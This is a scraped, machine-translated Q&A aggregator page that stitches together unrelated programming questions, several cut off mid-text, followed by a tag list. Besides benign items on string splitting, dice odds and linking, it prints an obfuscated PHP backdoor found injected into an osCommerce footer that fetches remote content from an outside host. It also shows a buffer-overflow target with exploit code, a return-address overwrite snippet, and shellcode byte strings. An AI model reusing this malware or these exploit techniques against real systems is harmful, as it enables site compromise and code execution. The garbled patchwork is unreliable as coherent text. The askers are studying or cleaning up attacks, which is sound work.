我有一个包含数字和字母的字符串.我希望将字符串分成连续的数字块和连续的字母块.
考虑字符串"34A312O5M444123A".
我想输出:["34","A","312","O","5","M","444123","A"]
我的代码有效,看起来像:
List<String> digitsAsElements(String str){
StringBuilder digitCollector = new StringBuilder();
List<String> output = new ArrayList<String>();
for (int i = 0; i < str.length(); i++){
char cChar = str.charAt(i);
if (Character.isDigit(cChar))
digitCollector.append(cChar);
else{
output.add(digitCollector.toString());
output.add(""+cChar);
digitCollector = new StringBuilder();
}
}
return output;
}
Run Code Online (Sandbox Code Playgroud)
我考虑拆分str两次得到一个包含所有数字块的数组和一个包含所有字母块的数组.然后合并结果.我避开了它,因为它会损害可读性.
我故意避免用正则表达式模式解决这个问题,因为我发现正则表达式模式是可读性的主要障碍.
我的问题是:
我正在尝试为我的一个comp sci课程找出这个问题,我已经利用了所有资源但仍有问题,如果有人能提供一些见解,我会非常感激.
我有这个"目标"我需要执行缓冲区溢出漏洞的execve("/ bin/sh").在buf [128]的溢出中,当执行unsafe命令strcpy时,返回缓冲区的指针出现在系统期望找到返回地址的位置.
target.c
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
exploit.c
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, …Run Code Online (Sandbox Code Playgroud) 我正在寻找被某人/某事利用过的网站.该网站有一大堆链接注入其页脚,链接到制药摊位,谁知道还有什么.页脚顶部有很多链接.我现在只能在Yahoo索引的缓存页面上找到它们.谷歌仍然不喜欢该网站,并且现场网站不再显示任何链接.这是给客户的.所以我大部分都知道我被告知了什么,以及我能找到的其他明智之处.
我在footer.php(它是一个OsCommerse站点)的'tip/top'找到了这段代码:
<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m";
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
Run Code Online (Sandbox Code Playgroud)
当我查看具有"Bad"链接的源缓存页面时,此代码适合我在footer.php源中找到它的位置.对谷歌的一点研究表明,有类似代码的漏洞.
您如何看待,当我在自己的服务器上运行时,我得到的只是源中的回显注释,如下所示:
<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> …Run Code Online (Sandbox Code Playgroud) 我有一个小程序,希望将shellcode作为参数传递。在shellcode中,必须传递\ x00。我尝试了以下命令:
./program `python -c 'print "\x01\x00\x00\x00\x9c\xd8\xff\xbf"'`
Run Code Online (Sandbox Code Playgroud)
但是\ x00根本没有注册!传递给程序的参数是“ \ x01 \ x9c \ xff \ xbf”。
我不认为这是python的问题,而是传递参数的shell。我正在使用bash外壳。
现在,如何强制外壳程序传递参数'\ x00'?
谢谢,问候,
希里希什·穆拉利
我一直试图解决这个问题几个小时了.我正在使用gcc编译一些c文件.这些文件需要libpbc,所以我使用-L标志将gcc指向包含libpbc.so.1的目录.代码编译没有错误但是当我尝试运行它时,我收到以下错误消息:
./example.out:加载共享库时出错:libpbc.so.1:无法打开共享对象文件:没有这样的文件或目录
看看类似的问题,这个错误消息似乎表明gcc找不到libpbc.so.1.我知道gcc看到libpbc.so.1,因为当我将libpbc.so.1重命名为其他东西时,它无法编译.
我使用-L指向包含libpbc.so.1的目录.
不知道我可以采取哪些后续步骤来解决这个问题.会欣赏任何想法.这个错误信息到底意味着什么?
运行ldd example.out会导致:
linux-gate.so.1 => (0xb7fe3000)
libpbc.so.1 => not found
libgmp.so.3 => /usr/lib/libgmp.so.3 (0xb7f87000)
Run Code Online (Sandbox Code Playgroud) 我刚刚开始研究缓冲区溢出攻击是如何工作的,并尝试使用Visual C 2010 模拟对Windows 7的攻击.缓冲区溢出攻击是非常人为的,它只是将返回地址覆盖到"缓冲区"局部变量的地址.缓冲区包含shellcode字符串.
无论我是否在Visual Studio 2010 Debug中运行程序,程序都会跳转到shellcode并几乎开始执行它,但是我遇到了Access Violation错误,程序将不会继续执行shellcode.
为什么我收到此错误?这是否可以防止Windows中的缓冲区溢出?
会如何,你让程序在缓冲区执行的shellcode?
编辑:
汉斯(回答)是对的.这在Windows Internals 5th的安全章节中讨论,错误的原因是Microsoft的可执行空间保护实现.
如果这个问题对任何人都有帮助,那么任何赞成票都会受到赞赏
void execute_my_shellcode()
{
char buffer[24];
memcpy(buffer, "\x6A\x21\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\x6A\x0A\xFF\x15\x40\x62\x40\x00\x83\xC4\x04\xC3", 24);
printf("current return address: %p\n", *(int*)((char*)&buffer + 24 + 4));
*(int*)((char*)&buffer + 24 + 4) = (int)&buffer;
printf("return address is now : %p\n\n", (int*)*(int*)((char*)&buffer + 24 + 4) );
}
Run Code Online (Sandbox Code Playgroud) 假设有一个游戏,其中一个人掷出 20 个 8 面的骰子,总共有 8^20 个可能的结果。为了计算特定事件发生的概率,我们将事件发生的方式数除以 8^20。
一个人可以计算得到值 3 的 5 个骰子的方法数。(20 选择 5)给了我们 3 的订单数。7^15 给了我们在 15 次掷骰时不能得到值 3 的方法数.
number of ways to get exactly 5, 3's = (20 choose 5)*7^15.
Run Code Online (Sandbox Code Playgroud)
答案也可以看成我可以用多少种方式重新排列字符串 3,3,3,3,3,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0(20 选择 5)乘以零的值总数(假设有 7 个合法值)7^15(是否正确)。
问题 1:如何计算获得 5 个相同值的骰子的方法数(即对于所有骰子值)。注意:如果我只是天真地使用上面的第一个答案并乘以 bt 8,我会得到大量的重复计算吗?
我知道我可以解决每种情况 (5 1's), (5, 2's), (5, 3's), ... (5's, 8) 对它们求和(更简单的是 8*(5 1's) )。然后减去重叠数的总和 (5 1's) 和 (5 2's), (5 1's) and (5 3's)... (5 1's) and (5, 2's) and ... and (5, …
我正在学习计算机安全的基础知识,并且我正在尝试执行一些我写过的shellcode.我按照这里给出的步骤
http://dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf
http://webcache.googleusercontent.com/search?q=cache:O3uJcNhsksAJ:dl.packetstormsecurity.net/papers/shellcode/own-shellcode.pdf+own+shellcode&cd=1&hl=nl&ct=clnk&gl=nl
$ cat pause.s
xor %eax,%eax
mov $29,%al
int $0x80
$ as -o pause.o pause.s
$ ld -o pause pause.o
ld: warning: cannot find entry symbol _start; defaulting to <<some address here>>
$ ./pause
^C
$ objdump -d ./pause
pause: file format elf64-x86_64
Disassembly of section .text:
08048054 <.text>:
8048054: 31 c0 xor %eax,%eax
8048056: b0 1d mov $0x1d,%al
8048058: cd 80 int $0x8
$
Run Code Online (Sandbox Code Playgroud)
由于我让暂停程序工作,我只是将objdump输出复制到ac文件.
test.c的:
int main()
{
char s[] = "\x31\xc0\xb0\x1d\xcd\x80";
(*(void(*)())s)();
}
Run Code Online (Sandbox Code Playgroud)
但这会产生段错误.现在,这只能归功于Arch Linux(?)的安全措施.那我怎么能让它运作起来呢?
我在目录树中有一些文件通过HTTP提供.给定一些子目录A,在该目录树中,我希望能够下载目录A以及所有包含子目录和文件的目录.
Java的某个黑暗角落似乎存在简单/直接/原子解决方案.有谁知道如何做到这一点?
由于子目录中的文件可能链接到非子目录的目录,因此webcrawler无法解决我的问题.
== ==更新
目录和文件必须以静态方式托管.
服务器静态托管目录树中的文件,客户端正在运行Java并尝试使用HTTP复制目录树的某个分支.
VFS就是答案,不幸的是我自己回答了这个问题,所以直到两天后才能选择它作为答案.如果有人写下我的回答,我很乐意将他们的写作标记为答案.
==进一步更新==
如果确保kernel32.dll被加载到进程虚拟内存中,为什么我不能在不包含windows.h的情况下调用Sleep这样的函数?以下是来自vividmachine.com的摘录
那么,窗户呢?如何找到所需DLL函数的地址?每个Service Pack升级都不会改变这些地址吗?
有很多方法可以找到需要在shellcode中使用的函数的地址.有两种解决功能的方法; 您可以在运行时找到所需的功能或使用硬编码的地址.本教程将主要讨论硬编码方法.唯一保证映射到shellcode地址空间的DLL是kernel32.dll.这个DLL将保存LoadLibrary和GetProcAddress,这两个函数需要获取可以映射到漏洞进程空间的任何函数地址.但是这种方法存在问题,地址偏移量将随着Windows的每个新版本(服务包,补丁等)而改变.因此,如果您使用此方法,则shellcode仅适用于特定版本的Windows.进一步阅读部分将在本文末尾引用进一步的动态寻址.
我的目标是确保在连续的物理内存中分配在java中分配的数组.我遇到的问题是,除非我分配一个非常大的数组,否则分配数组的页面在物理内存中往往不是连续的.
我的问题是:
我不是在寻找答案,问我为什么要在java中这样做.我知道C会"解决我的问题",而且我反对java的基本性质.不过我有充分的理由这样做.
答案无法保证始终有效.我正在寻找大部分时间都有效的答案.创造性的,开箱即用的答案的额外点,没有合理的Java程序员会写.可以特定于平台(x86 32位64位).
SmartClient的等待时间如何在数千名用户编辑网格中进行扩展?
我之前收到警告,说ExtJS不合适.
我需要知道如何从机器代码中删除空值 (00)。我用汇编语言编写了代码。它运行成功。我需要没有 NULL 的输出
.data
Bash:
.asciz "/bin/hostname"
Null1:
.int 0
AddrToBash:
.int 0
NULL2:
.int 0
.text
.globl _start
_start:
#execute routine
xor %eax,%eax
movl $Bash, AddrToBash
movl $11,%eax
movl $Bash,%ebx
movl $AddrToBash,%ecx
movl $NULL2,%edx
int $0x80
#exit routine
Exit:
movl $10,%ebx
movl $1,%eax
int $0x80
Run Code Online (Sandbox Code Playgroud)
以下输出是
4000b0: 31 c0 xor %eax,%eax
4000b2: c7 04 25 f2 00 60 00 movl $0x6000e0,0x6000f2
4000b9: e0 00 60 00
4000bd: b8 0b 00 00 00 mov $0xb,%eax
4000c2: bb e0 00 …Run Code Online (Sandbox Code Playgroud) shellcode ×7
java ×3
exploit ×2
archlinux ×1
assembly ×1
buffer ×1
c ×1
c++ ×1
command-line ×1
dice ×1
directory ×1
dll ×1
extjs ×1
gcc ×1
http ×1
linux-kernel ×1
paging ×1
php ×1
puzzle ×1
python ×1
readability ×1
regex ×1
security ×1
shell ×1
smartclient ×1
smartgwt ×1
string ×1
winapi ×1
x86 ×1
x86-64 ×1